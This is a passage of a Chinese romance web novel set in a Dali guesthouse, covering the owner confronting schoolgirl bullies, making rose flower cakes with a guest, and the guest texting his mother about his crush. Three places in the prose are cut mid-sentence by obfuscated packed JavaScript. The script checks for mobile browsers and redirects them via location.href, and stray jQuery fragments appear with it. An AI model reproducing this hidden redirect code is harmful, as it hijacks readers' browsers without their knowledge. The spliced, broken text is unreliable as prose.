耳朵里面的不适感依旧还在持续,喻厘一刻都不想在这里多待了,面无表情地说:“你留下来和朋友聚吧,我先走了。” 她说完也不等赵闻铮反应,一把拿回自己的包,径直转身离开。 “老……” 赵闻铮眼看着她就这么走远了。 老板娘这是怎么了? 虽然不知道原因,但他清楚地感知到喻厘现在情绪有点不好。 他重重拍了下李响的肩膀:“等下次有机会再聚!” 然后着急忙活地追人去了。 “喂!” …… 走出一段距离后,人群逐渐变得松散,喻厘自我感觉耳朵好多了,于是重新打开助听器。 跟着听见身后传来一阵急促的脚步声,有点熟悉。 她停下脚步,回头正好对上赵闻铮那张脸,心中疑惑: 不是要和朋友去吃饭吗?又跑过来干嘛? “你……” 喻厘刚要开口,手里突然一轻。 赵闻铮又一次将包抢了过去,微皱着眉头假意埋怨道:“老板娘,你怎么都不等等我。” 他往前走了两步,见她没动,又笑着催促:“快走啊老板娘,不是说要回去了吗?” 11. 路见不平 喻厘面色如常地“嗯”了声,抬脚越过他身边,率先向前走去。 赵闻铮假模假样地喊了句:“老板娘,等等我!” 实际单手插兜,一边步伐轻快、不慌不忙地追了上去。 乐队演出在洱海门附近,他们需要走回北门取车,距离不算近。 赵闻铮这人是个闲不住的。 只安静了不到两分钟,他就又凑上去问喻厘:“老板娘,你还没回答呢,我刚才表演的效果如何?” “还可以。” “只是还可以吗?”他不死心地追问道。 “……” 喻厘感觉有时候真拿他一点办法都没有,语速飞快地说:“非常棒,特别好,很优秀,行了吧?” 赵闻铮不依不饶:“老板娘,你太敷衍了。” 喻厘瞥了他一眼,不想再在这个无聊的问题上纠缠不清,干脆转移话题:“我没想到你居然真的会。” 赵闻铮一脸受伤的表情,控诉道:“老板娘!你就不能对我有点信任度吗?对你,我可从来没有说过一句假话。” “我可是专业的!”他补充强调。 “专业的?”喻厘偏过头,视线狐疑地地上下打量他:“那你是学什么的?” “钢琴。”对上她更加怀疑的眼神,赵闻铮反问道:“干嘛?不像吗?” 喻厘摇摇头,实话实说:“不像。” 赵闻铮急得差点跳脚,连声问:“为什么?我哪里不像了!?” 喻厘言简意赅道:“气质。” “气质?我还以为你要说技巧。”他又问:“有这种说法吗?” 喻厘想了想,解释说:“首先,在大众印象里,钢琴是有钱人才能学得起的;其次,弹钢琴的人不应该是安静坐在那里,姿态从容,举止优雅吗?” 说着,她又从头到脚扫了他一眼,脸上明明明白地写着三个大字:“你不像”。 “老板娘,你这纯纯就是刻板印象。”赵闻铮据理力争:“首先,音乐不是有钱人的专属,不说远的,咱俩一路走过来,你看看遇到几个在街边卖艺的;其次,你怎么知道我弹钢琴的时候不优雅呢?;最后,他们就是纯装,其实私底下一个个玩得可花了!” 喻厘点点头:“行吧。” “???” 什么叫行吧? 这不还是摆明了不相信他吗? 赵闻铮努力措辞,试图列举出一个更加具体的例子来说服她,力证自己的身份:“我有一个朋友叫Leo,他平时在台上拉小提琴的时候看着非常像个人,等下了台……” “老板娘?” 喻厘走着走着,忽然脚步一顿。 赵闻铮紧急刹车,差点撞上。 “怎么了?” 他扭头顺着她的视线看过去。 大理古城以“九街十八巷”的棋盘式格局著称,几条主路两侧布满无名巷陌。 此时两人所占的位置刚好是一条胡同的入口,巷子狭窄幽长,人迹稀少,只有几个中学生模样的女孩勾肩搭背地往里走。 突然之间,其中一个被猛地推了一下,后背撞到墙上,其他三人迅速将其围在中间。 被围住的小姑娘低着头,看起来非常局促不安。 为首的女生不知道说了什么,伸手扯掉了她的眼镜。 中间的女孩尝试想要把眼镜抢回来,却遭到另外两人推搡,踉跄着差点摔倒。 这不摆明了就是在故意欺负人嘛! 赵闻铮顿时看不下去了,打算上前阻止。 结果刚抬起脚,就见眼前一道身影闪过,有人比他动作更快。 只见喻厘大步流星地冲过去,越走越快,最后更是变为小跑,路过不知道谁家门口的时候还随手抄起了一把放在墙边的烂拖布。 “你们干嘛呢!”她高声喝道,连连质问:“欺负人是吧?叫什么名字?哪个学校的?我报警了啊!” 赵闻铮跟在后面,见此情形惊讶地瞪大了眼睛。 他从来没见过老板娘有如此彪悍的一面。 大多数时间里,她的情绪都一直淡淡的,好似对任何事物都提不起兴趣。 …… 孩子到底是孩子,喻厘只是简单喊了几声,吓唬两句,还没等她走到跟前,那三个女生就害怕地逃走了。 她丢开拖把,弯腰捡起被扔在地上的眼镜,递给紧贴在墙边瑟缩发抖的小姑娘。 后者试探着接过眼镜,嘴唇嗫喏着想要道谢,眼泪却先流下来。 “别哭,没事了。”喻厘轻声安慰道。 然后转头看向赵闻铮,示意他从包里把纸巾拿出来。 大约是因为有人安慰,小姑娘哭得更大声了,好像恨不得把所有委屈都一股脑宣泄出来。 喻厘吓了一跳,忙把她抱进怀里,轻拍她的后背,无声安慰。 小姑娘哭了一会儿,情绪渐渐变得平稳。 她从喻厘怀里退出去,有点不好意思地低下头,抽噎着说:“谢…谢谢阿姐。” “不用客气。” 喻厘又抽了一张纸巾递给她,问:“刚才那些人经常这样欺负你吗?” 她摇摇头:“以前也没这样,是这个学期才开始的。” “她们刚才跟你说什么了?”喻厘再次问道。 “她们……” 小姑娘只说了两个字,便死死地咬住嘴唇,没了下文。 喻厘见她一直犹豫,轻轻叹了口气:“不想说就算了,不需要勉强自己,回家去吧。” 说完,她转过身,用眼神示意赵闻铮可以走了。 就在这时,背后的小姑娘却忽然又开口了,音量比蚊子哼哼大不了多少:“她们叫我独眼龙,说…说我这个样子吓到她们了,让我赔钱。” 喻厘低头看向她手里的眼镜,有一侧镜片被挡住了,并非普通的近视镜,应该是用于矫正视力的。 于是心中大概有数了。 小孩子嘛,或许只是单纯因为你有哪里不一样,就看不惯你。 也就是所谓的“不合群”。 接下来如果足够强硬还好,一旦表现得弱势、好欺负,那么他们将会更加变本加厉。 有人会或许说:“同学(朋友)之间闹着玩而已,不用上纲上线。” 而喻厘十分确信,这个世界上有些人天生就是坏种,与年龄无关。 赵闻铮原本觉得女孩子间可能更容易交流,所以全程保持安静,没有插嘴。 听到这里时他却再也忍不下去了,愤怒地大喊道:“太过分了吧!” 小姑娘被吓得哆嗦了一下。 喻厘瞥他一眼。 “Sorry!”赵闻铮立马在嘴边比了个拉拉链的动作,表示自己闭嘴了。 喻厘收回视线,继续询问:“那你告诉父母了吗?” 小姑娘还是摇头:“她们说我如果告密就打我。” “……” 喻厘真是要气笑了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093840|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 怎么十几年过去了,欺负人的套路还是一样的,连话术都没变。 “你抬头看着我。”她说。 小姑娘抬起头,怯怯地和她对视。 “听我说,你一定要把这件事告诉父母和老师,让大人来处理,这样她们以后才不敢再继续欺负你。” 喻厘拍拍她的肩膀,语气坚定地说:“你要做个勇敢的女孩,知道吗?” 小姑娘直直地盯着她,半晌,仿佛终于下定决心,认真地点了点头:“好!” 听到肯定答复,喻厘勾起唇角露出一抹淡笑:“乖孩子,擦干眼泪,快点回家吧。” 目送着小姑娘的身影消失在胡同深处,两人也转身离开。 赵闻铮一直用一种“你居然是这样的人”的眼神盯着她看。 那道视线的存在感太强,喻厘很难忽略,只是一直假装不知道。 直到赵闻铮看得太投入,以至于差点和路边的垃圾桶来个贴面礼时,她才终于忍无可忍。 “你到底想干嘛?”喻厘觉得简直莫名其妙:“能不能好好走路。” “老板娘,刚才……” “很意外?”喻厘打断他的话,反问道:“以为我不会多管闲事?” 赵闻铮急忙表示:“我不是这个意思。” 话虽如此,可根据他一周以来的观察,喻厘确实不爱多管闲事。 之前面对那对情侣吵架是这样,后来遇上小虎的事情更是如此。 所以他今天先入为主地觉得她不会管。 更因此在看见她冲上去的时候才会那样惊讶。 曾几何时,喻厘对那些明明看见了,却假装不知道的同学不是没有埋怨过,却不想很多年后的今天,她在别人眼中也成为了这样的人。 她突然感觉好像有东西堵在胸口,不上不下的,让人非常烦躁。 闷头往前走了一点距离后,喻厘蓦地停下脚步,转头看向赵闻铮,承认道:“是,你以为的没错,我本来就不喜欢管闲事。” “我就是这么一个人,遇事高高挂起,冷眼旁观。”她继续说,语气里甚至莫名带了些嘲弄意味。 突如其来的坦诚难得让赵闻铮无话可说,他拧着眉,露出一副若有所思的模样。 其实他只是稍微觉得有点奇怪,但却从来没有觉得喻厘这样做有什么错。 就好比有大爷在路边摔倒了,扶了说明你乐于助人,不扶也可以理解。 帮与不帮都是个人选择问题。 如果强制性要求的话,那不就变成道德绑架了吗? 喻厘看着他愣怔的表情,不想再多说一个字,她收回视线,加快步伐向前走去。 两人一路沉默着出了北门,找到停放电动车的位置。 她跨坐上去,解开头盔准备带上,忽而听见赵闻铮开口:“老板娘,你不要这么说。” 话题已经过去很久了,喻厘没想到他又提起这茬,下意识问了句:“什么?” “我说,你不应该那样说你自己。”赵闻铮再次重复道。 他语气认真地说:“老板娘,你是个很好的人,也很善良。” 临近傍晚,太阳偏西,正好悬停在他身后。 喻厘定定地看着他,感觉眼眶隐约发酸发胀。 她把原因归结为阳光太刺眼眩目了。 赵闻铮看喻厘的表情还以为她不相信,于是又强调了一遍:“真的!你真的很好。” 否则当初怎么会留下他呢? 12. 默契进阶 路走了太多的后果就是——第二天破天荒地起晚了。 喻厘一睁眼发现都快十点钟了。 虽然没有浑身肌肉酸痛,但脑袋昏沉沉的,眼皮仿佛有千斤重。 她趿拉着拖鞋走进卫生间,看见镜子里的自己吓一跳,眼睛怎么肿成这样了? 喻厘把水龙头调到另一边,用凉水洗了脸,又从房间到小冰箱里拿出两瓶罐装饮料给眼睛做冰敷,感觉差不多消肿了才拖着疲惫的身体下楼。 院子里静悄悄的,只有阿兰坐在前台后面玩手机。 听到脚步声,她抬起头,看见是喻厘后放下手机站起来,笑着打招呼:“栗子姐,你起来啦。” 喻厘含糊地应了声,随口问起:“其他人呢?” “出去了。” “哦。” 赵闻铮这家伙精力还真是旺盛,昨天在古城转了那么久,她累得起不来床,而他今天一大早居然还有体力出门瞎逛。 喻厘不由在心里叹了口气。 “栗子姐,给你留了米线,要吃吗?”阿兰嘴里问着,就要往厨房走。 喻厘回过神,连忙阻止:“不用了,我等会儿一起吃午饭吧。” 这都十点多了,她要是吃了米线就不用再吃午饭了。 “也行。”阿兰点点头,又重新坐回去。 椅子腿和地板随着她的动作相互摩擦,发出一声短促“吱嘎”声。 喻厘下意识按住左耳。 阿兰注意到她的动作,关切询问:“栗子姐,你耳朵不舒服吗?” “没事。”喻厘收回手。 这点声音还不足以造成影响,只是昨天音响产生的啸叫声有点给她留下阴影了。 耳朵其实早就不疼了,不过她已经太久没去人多的地方,体会那么杂乱刺耳的声音,所以印象深刻。 “喵——喵——” 院子里传来猫叫,有些急切,像是在催促什么。 阿兰探头望了一眼,开玩笑说:“栗子姐,猫找你讨债来了。” 喻厘也跟着笑笑。 狸花猫很懂规矩,一般是不会随便进院子的,今天估计是因为她起得太晚了,实在等着急了才进来催。 “来了来了!” 喻厘拎着猫粮袋子往外走,那只猫凑上来用身体蹭了蹭她的裤腿,翘着尾巴亦步亦趋地跟在旁边。 走到门口,果然见放猫粮的碗已经空了。 狸花猫一只爪子按住碗沿,仰头对着她叫:“喵!” “真是成精了。”喻厘笑骂一声:“别催,我知道你饿啦!” 她蹲下来,打开袋子,给它添了满满两大勺猫粮。 狸花猫立刻扑过去大口大口地吃起来,尖利的牙齿把猫粮咬得嘎嘣响。 喻厘就在旁边安静地看着,思绪开始逐渐发散,脑海里莫名其妙又响起赵闻铮昨天的话。 “他说我是个好人,还说我善良?” 她像是在跟猫说话,又像是在自言自语。 狸花猫非常配合地“喵”了一声。 “你也觉得很好笑,是吧?”喻厘摸摸它的头:“我可不是什么好人。” 何止不是好人,曾几何时,她甚至一度希望世界末日快点来临,人类全部灭绝才好。 喻厘紧跟着想到昨天的经历,想到赵闻铮在甜品店发表的那番乍一听起来似乎有点奇怪,仔细想想又觉得有道理的理论,以及他在舞台上表演时,那样活力充沛、激情四射,充满了昂扬向上的生命力。 谁会不喜欢这样的人?不想过这样的人生呢? 喻厘当然想过,可惜做不到。 “不过他这人还真挺有意思的。”她喃喃道:“比我之前认为的更厉害,更有内涵和才华。” 说句真心话,在昨天之前,她一直觉得赵闻铮是个满嘴跑火车,除了动嘴皮子外什么都不会的人。 吊儿郎当,不学无术,纯靠脸皮厚讨生活。 现在看来事实并非如此,他身上还是有些可取之处的。 “总的来说就是还不错吧。” “老板娘!” 突然一声呼喊将喻厘从回忆中拉回现实。 她循声抬头,看见赵闻铮正站在不远处挥手示意。 喻厘扶着膝盖站起来。 因为蹲得时间太久,腿都麻了,她脚一软,差点摔倒,紧急扶上墙壁才稳住身形。 赵闻铮关心的声音在耳边响起:“老板娘,你没事吧?” 这人怎么一眨眼就到眼前了! “没事,腿麻了。” 喻厘跺了两下脚,感觉缓和许多,一抬头发现他肩上竟然背着个竹篓。 看起来还真有点本地人的样子。 “你是不是黑了?”她脱口而出。 “啊?”没头没脑的一句话,赵闻铮愣了一下才反应过来:“有吗?” 喻厘也搞不懂自己为什么突然说这个,顿时懊恼不已。 他们的关系还没有熟到可以聊这种话题的地步。 赵闻铮仍旧在追问:“老板娘,你真觉得我黑了?” 喻厘快纠结死了,不知道该不该回答。 幸好阿鹏及时出现,解救了她。 “阿铮哥,你怎么走那么快!”阿鹏叉着腰,气喘吁吁地说。 在喻厘这里得不到答案,赵闻铮再次转换目标:“阿鹏,你看我是不是变黑了?” “啊?”阿鹏同样一愣,左右端详片刻,不太敢确定地说:“好像…是有一点?” 什么黑了白了,没完没了的! 喻厘忍无可忍,干脆岔开话题,问他们:“又买了什么?” 赵闻铮果然被转移了注意力,侧身将背篓里面的东西展示给她看。 入目皆是一片红,还伴随着浓郁的香气扑面而来。 “哪来的玫瑰花?”她惊讶道。 阿鹏解释说:“我阿爷今年种了一点,让我拿过来做鲜花饼。” 喻厘的视线扫过满满当当的两个背篓。 这可不叫一点啊! 老人家种东西不容易,而且虽说云南遍地鲜花,但这些玫瑰加起来多少值些钱。 按照喻厘以往的经验,直接提出给钱肯定行不通,于是她想了想说:“等做好以后,多给你阿爷拿回去些。” “好!”阿鹏痛快应了。 …… 手工制作鲜花饼的过程不算太繁琐,也称不上多简单。 如果仅靠阿鹏一个人忙活还不知道要干多久。 于是乎民宿里的四个人齐上阵,反正闲着也是闲着。 阿鹏负责揉面,阿兰来制作馅料。 喻厘和赵闻铮的任务比较简单,他们首先需要把花瓣分摘下来,然后洗干净。 两人相对而坐,桌上搁着一个空盆用于盛放花瓣。 喻厘对赵闻铮“四体不勤”的样子依旧心有余悸,时不时就要抬头看对面一眼,确认他有在好好干活。 前面还好好的,直到两人猝不及防地对视上…… “老板娘,你一直偷看我干嘛?”赵闻铮问。 “!!!” 喻厘迅速移开视线,几下将手里这朵玫瑰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093841|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花瓣扯下来:“没有,你看错了。” “从我们俩坐下到现在,”赵闻铮陈述事实:“你已经看了我四十二次了。” “……” 她现在收回之前夸他的话还来得及吗? “我说没有就没有!”喻厘咬牙道,颇有点恼羞成怒的意思。 而赵闻铮此刻想的却是另外一件事:老板娘一直看他,难道是因为他真的黑得很明显吗? 继而又想到:她很介意吗? 阿兰在此时走过来,拉开凳子坐到两人中间,帮忙一起摘花瓣。 她隐约感觉到氛围有点不对劲,试探着问:“怎么了吗?” “没事。”喻厘说。 赵闻铮拍拍她示意:“阿兰,你转过来,我问你件事。” “嗯,怎么了?” 他倾身向前:“你看我黑了吗?” 阿兰也伸长脖子凑近,认真观察半天,给出答案:“确实有一点。” 果然! 赵闻铮这回彻底确认自己就是黑了。 怎么还在纠结这个? 喻厘表示再也不想听见这个问题了。 恰好桌上的盆即将装满,她插话道:“这盆快满了,阿兰,你再去厨房拿一个。” 没等阿兰反应,赵闻铮自告奋勇:“我去!” 他直接跳起来,小跑着去厨房拿了个新盆。 回来后刚要坐下,喻厘立刻说:“再帮我倒杯水吧。” “好嘞!” 不一会儿又道:“把盘子递给我。” “OK!” …… 两人一个动嘴一个动手,阿兰看着实在没忍住笑出了声。 要不是了解栗子姐的为人,她一定会怀疑是故意的。 如果喻厘知道阿兰现在的想法的话,一定会回答:“不,我就是故意的。” 她也是突发奇想,必须要让赵闻铮忙起来,省得留在这里尽说些让人尴尬的话。 初步看来还挺有效果。 无论喻厘怎么折腾,赵闻铮每次都二话不说就去做。 先不说完成的结果如何,起码态度非常到位。 所以几次之后,喻厘就没了折腾的心思,终于让他坐回去了。 玫瑰馅料准备完毕后,阿鹏也端着揉好的面团出来了。 他一边教授怎么包鲜花饼,一边兴致勃勃地提议:“一起干活的感觉真好,今天做鲜花饼,要不我们明天做乳扇怎么样?” 下一秒,就听对面两人异口同声地说:“不要!” 一提起乳扇,赵闻铮就想起来昨天那股又酸又臭的味道,胃里一阵翻江倒海。 阿鹏奇怪道:“怎么反应这么大嘎?” 阿兰的眼神在两人中间来回徘徊,看看她,再看看他:“你们两个好像怪怪的。” “哪里怪了。” 喻厘眼皮都没抬一下,努力和手里的面团战斗。 本想轻描淡写地将话题揭过,哪成想阿兰居然真的思考了一番,然后说:“感觉变熟了,也变默契了。” 喻厘声音淡淡的:“有吗?” “嗯!”阿兰重重点头,转而开玩笑道:“去古城背着我们干嘛啦?” “没有!!!”两人再次异口同声。 阿兰耸了耸肩,露出一副“看,我说的没错吧”的表情。 喻厘“唰”地扭过头。 没想到赵闻铮同样也在看她。 四目相对,他立刻展露笑容。 喻厘:“……” 这样的默契其实她不要也罢。 13. 鲜花饼 伴随着飘满院子的甜蜜花香,热腾腾的鲜花饼新鲜出炉。 有住客闻到香味,从二楼阳台上大喊:“阿鹏,你又做什么好吃的啦?” 阿鹏看向喻厘,用眼神询问意见。 后者点了点头表示可以。 得到首肯后,阿鹏转身朝着厨房外面喊道:“刚出炉的鲜花饼,等会儿下来拿,栗子姐说一人一个。” 赵闻铮赞道:“还是老板娘大方。” 喻厘淡淡地瞥了他一眼。 她现在算是发现了,赵闻铮什么事都能夸,而且每次张口就来。 所以面对这种水平的小马屁,她已经能做到内心波澜不惊了。 阿鹏在柜子里找了个竹编筐,准备把烤好的鲜花饼放在里面。 “停!别动!”赵闻铮一转头看见,急忙阻止:“让我先拍张照片!” “哦,好。” 阿鹏伸出去的手又收回来,退后一步给他让出足够位置。 赵闻铮掏出手机,弯下腰对准鲜花饼,不停放大缩小、调整焦点、切换角度,力求拍出一张最好的照片。 这可是他和老板娘一起亲手制作,而且是第一次,非常具有纪念意义。 喻厘不明白他到底在忙活什么。 她摸了摸空荡的胃部,干脆交代起后续安排:“阿鹏,先做午饭吧。” “行。” 阿鹏点头应下,转身走向案板区。 喻厘看了一眼依旧撅着屁股在找角度的赵闻铮,无语地撇了撇嘴,果断移开视线。 “你们等会儿把鲜花饼分一分,都各自多拿回去些。” 阿兰和阿鹏齐声应下:“谢谢栗子姐。” 赵闻铮闻言回头:“老板娘,我也有份吗?” “你要拿去哪儿?”喻厘反问道。 他本来不就住在这里吗?真是什么热闹都要凑! “我想寄给家人和朋友。”赵闻铮解释说:“我毕竟来大理了,总得给他们准备一些具有本地特色的东西,而且自己纯手工做的,比外面的工厂货吃起来更放心。” 尤其Leo那几个家伙,自打知道他来大理了,这几天总叫着让他给带特产。 “……” 好吧,是她误会他了。 喻厘略有些尴尬和愧疚,于是痛快答应:“行,你想要多少?五十个够吗?” 因为考虑到是自己吃,所以他们做的鲜花饼用料格外扎实,比一般的大很多,十个就能装一大盒了。 “够,绝对够!”赵闻铮笑呵呵的:“谢谢老板娘!老板娘果然大方!” 喻厘这次坦然接受了他的夸赞。 正在水池前洗菜的阿鹏听到对话,当即表示:“这东西保质期短,柜子里有小型封口机,等下我帮你抽真空再寄。” 赵闻铮:“谢啦!” 院子里在这时响起一阵杂乱的脚步声,是刚才喊话那位以及其他听见动静的住客下楼来领取美味了。 原本就不算大的厨房门口瞬间挤满了人,一个个吵吵嚷嚷的,热闹极了。 喻厘无意识地皱起眉,而后突然反应过来,迅速恢复正常。 早在人群刚刚出现时,赵闻铮便立刻看向了她,因此任何细微表情变化都没能逃过他的眼睛。 “老板娘。”他忽然开口:“我拍完了,厨房人太多了挤不下,要不咱们先出去吧。” 喻厘点点头。 正当她纠结该怎么样穿过人群离开的时候,只见赵闻铮把手机往口袋里一塞,率先迈开步子。 他抬手横臂挡在前面,嘴里吆喝着:“来来来,麻烦大家让一让。” 其他人应声而动,将门口让出一条窄路。 但赵闻铮却并未着急离开,而是侧身站定,将人群挡在身后,对着喻厘朝院子的方向歪了歪头:“走吧,老板娘。” 喻厘完全没想到他会做出这样的举动,不由心下一暖。 她轻点了下头,快步向外走去。 由于空间实在有限,从门口出去时喻厘不得不侧过身体以保证通行。 面对面擦过时,她鬼使神差地停下脚步,抬眸,对上一双带着笑意的眼睛。 门口空间狭窄,两人的上半身几乎要挨到一起,鼻腔里充斥着民宿专用的沐浴露的味道。 喻厘微微一怔,接着猛然回神,快步走了出去。 确认她安稳离开后,赵闻铮这才放下胳膊,叮嘱道:“阿兰,你把鲜花饼给大家分一下吧!” 喻厘闻声转头,看向那个正站在厨房门身高极为突出的人影。 话音落下,赵闻铮快步走到她面前,不明所以地问:“老板娘,你脸怎么红了?” “有吗?”喻厘疑惑道。 她用手摸了把脸,感觉温度好像有点高,不过没当回事,只说:“热的吧。” 赵闻铮不疑有他,仰脸看看头顶上耀眼夺目的大太阳,点了点头表示赞同:“是有点热。” - 午后时间,院子里恢复安静模式。 喻厘昨天是真累到了,又加上发饭晕,刚吃完饭就上楼睡午觉去了。 赵闻铮毫无困意,躺在房间里的小床上,举着手机网购挑选防晒霜,立誓绝对不能再黑下去了。 各种牌子和功效说明看得他眼花缭乱,评论区更是褒贬不一,以至于他翻了半天都没能成功下单。 看着看着,赵闻铮滑动屏幕的手指蓦地一顿。 差点忘了! 他赶紧切到微信朋友圈,一股脑点下去,直接凑齐照片发了个九宫格,并配文: 【新鲜出炉的手工鲜花饼,限量五盒,先到先得。】 朋友圈刚发出去不到一分钟,就有消息跳出来。 对方言语间一点不客气:【鲜花饼,我要两盒。】 偏偏赵闻铮还不能拒绝,他回道:【OK,秦女士。】 秦女士:【叫妈,臭小子!】 赵闻铮还惦记着防晒霜的事儿,恰好遇到个明白人,他赶紧打字:【妈,问你件事啊,你平时都有什么牌子的防晒?如果晒黑了的话有没有什么办法尽快白回来?】 他依稀记得秦女士每天早晚都会至少花半小时的时间坐在梳妆台前,面前摆着各种瓶瓶罐罐,做一层又一次地往脸上抹,想必一定对此非常了解。 秦女主:【你问这个干嘛?】 秦女士:【给女孩子买?你谈恋爱了?速速从实招来。】 赵闻铮简直满头黑线。 秦女主思维跳跃度还是一如既往的大。 他只是问问防晒技巧,她居然就能联想到这么多东西。 赵闻铮打字:【不是,没有。】 顶多算有喜欢的人了。 他在心里默默道。 秦女士:【[图片],那这是什么?】 这不是他发在朋友圈的照片吗? 赵闻铮疑惑地点开图片,发现右下角位置被圈出来了。 他双指按住屏幕往两边拉,放大再放大…… 屏幕上方的通知栏再次有消息跳出。 秦女士:【女孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093842|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 照片被放大后像素模糊得要命,赵闻铮努力辨认了半天也只能看出一片蓝色以及半只手。 他仔细回忆了一下,老板娘今天穿的确实是牛仔裤。 秦女士的洞察力真是太惊人了! 仅凭这一点点居然能看得出来是女孩子!? 赵闻铮:【牛,大拇指.jpg】 秦女士:【那当然,我可是你妈!】 然后紧跟着又是一连串的问题:【说说吧,什么情况。旅游认识的?漂不漂亮?有正脸照片吗?发过来给我看看。】 末了感叹道:【我们家养了二十六年的铁树可算是开花了。】 赵闻铮:【没有。】 秦女士:【是没有,还是不想给我看?】 赵闻铮:【真没有!】 偷拍是非常冒犯的行为,他不可能去做。 至于正常合照嘛…… 他还没找到机会。 对面的秦女士显然非常不甘心:【朋友圈呢?你去她朋友圈翻翻。】 朋友圈…… 经她这么一提醒,赵闻铮倏然想起,他好像压根就没加老板娘微信。 其实这也不能怪他,两人每天同住一个屋檐下,低头不见抬头见,有什么话当面就说了,压根就用不上微信。 赵闻铮依旧还是那两个字:【……没有。】 秦女士还以为他的意思是朋友圈也没有照片,于是说:【行吧,那你把地址给我,我直接过去瞧瞧。】 那怎么行! 赵闻铮脑中瞬间警铃大作。 别说老板娘不喜欢社交了,就是个正常人遇上他妈这种,那也得被吓一跳。 原因无他,秦女士实在是太社牛了! 他赶紧打字:【No,千万不要!八字还没一撇的事儿,你别到时候再把人吓着!】 秦女士:【合着人家还什么都不知道呢啊?啧啧。】 秦女士:【你可真不随我,想当初我在大街上遇见你爸,觉得这人真帅,就直接冲过去把我家里的座机号码塞给他了。】 赵闻铮一阵汗颜:【是是是,您最英明神武了。】 秦女士继续说:【要我说,你就直接去表白,行就行,不行就拉倒。】 赵闻铮腹诽道:如果他要是敢这么做,转头就能被老板娘连人带行李地赶出门。 他无奈地叹了口气,敲字回复:【这件事你就别跟着掺和了,我心里有数。】 秦女士:【你最好是这样。】 秦女士:【先不跟你聊了,姐妹们喊我打麻将,还有,别忘了我的鲜花饼!】 赵闻铮回了一个【OK】的表情,然后把手机倒扣在胸口,盯着天花板发呆。 如果秦女士不说他都没发现,不仅没有合照,连微信都没加上。 所以他这段时间都干了什么? 居然还以为自己表现不错…… 一股挫败感油然而生。 不过很快,他就再次振作起来,在心中暗自告诫自己: “路途遥远,道阻且坚,赵闻铮,你还得继续努力啊!” “嗡嗡~” 手机再次震动,把他拉回现实。 赵闻铮重新拿起手机,发现这次仍然是他妈。 秦女士:【,你要的防晒。】 秦女士:【男为悦己者容,加油儿子,我看好你。】 赵闻铮在输入框里打下“Thanks”,刚要发送,动作忽然一顿。 他好像也没说是自己要用吧? 14. 心情过山车 “这雨到底打算下到什么时候啊?” 阿鹏站在廊下,仰头望着屋檐上不断滴落的连串水珠,忍不住抱怨。 他话锋一转,又庆幸道:“幸亏没真的做乳扇,否则这个天气都得坏了不可。” 身后传来一声呼喊:“阿鹏,来帮我搬东西!” “来了!”他高声应道。 …… 作为云南十八怪之一,大理的雨总有种让人摸不着头脑的感觉。 有时候猝不及防就下起来了,然后来也匆匆去也匆匆;有时候又下个没完没了。 这场雨是从前天午后开始下的,淅淅沥沥,不大,但也一直没有要结束的意思。 需要外出的活动全部被迫暂停。 今天民宿没有人员变动,阿兰准备趁此机会整理一下布草间。 喻厘睡完午觉起来后,临时代替了她的位置,坐在前台里面看书。 对于这场雨民宿里的住客们态度转变极快,一开始还觉得有意思,冒着雨去逛古城,说是别有一番韵味。 可万事都有个限度,第一天感觉有趣,第二天便觉得无聊,第三天彻底厌烦…… 最初只有两个人因为太无聊而下楼,想着找本书打发时间,后来遇上另一波拥有同样打算的人,就这样莫名其妙地聊起来了。 这也是大理的神奇之处之一,来自天南海北不同地方的陌生人,明明互不认识,却能相谈甚欢。 接着陆陆续续有人加入聊天队伍,大厅一下子热闹起来。 听着此起彼伏的欢声笑语,喻厘完全没办法静下心来,可又不能说不让客人聊天说话吧。 于是她只能将书默默合上放到旁边,支着下巴发呆。 阿兰正忙着,她就不得不留下,以防客人有什么需求听不见。 又是一阵爆笑声响起。 喻厘抬眸看过去,一眼就看到混在其中那张熟悉的脸。 赵闻铮正坐在临窗的位置,大约是说到高兴处了,脸上笑容肆无忌惮,显得整个人生动又活泼。 这人是什么时候来?她居然都没注意。 不过想想也对,按照他的性格来说,是绝对不可能错过这种热闹。 …… 在座众人的年龄基本上相差不大,因此很容易找到共同话题,天南海北什么都能聊。 喻厘围观半晌,逐渐发现了很神奇的一幕—— 无论聊到哪里,赵闻铮总能插上话,发表一番见解,进而引得众人表示赞同或是追问。 隐约有种他已经成为整场谈话中心C位的感觉。 不知道由谁起的头,大家纷纷说起自己的旅行计划,从哪里来,之后打算到哪里去。 一个年轻男孩说他刚刚高考结束,独自出来背包旅行,大理只是其中一个中转站,过两天会继续南下去往东南亚。 “勇气可嘉。”赵闻铮夸赞道:“东南亚确实很适合背包旅行,那边背包客也很多。” 男孩眼睛一亮:“哥,你去过那边?有没有什么推荐?” 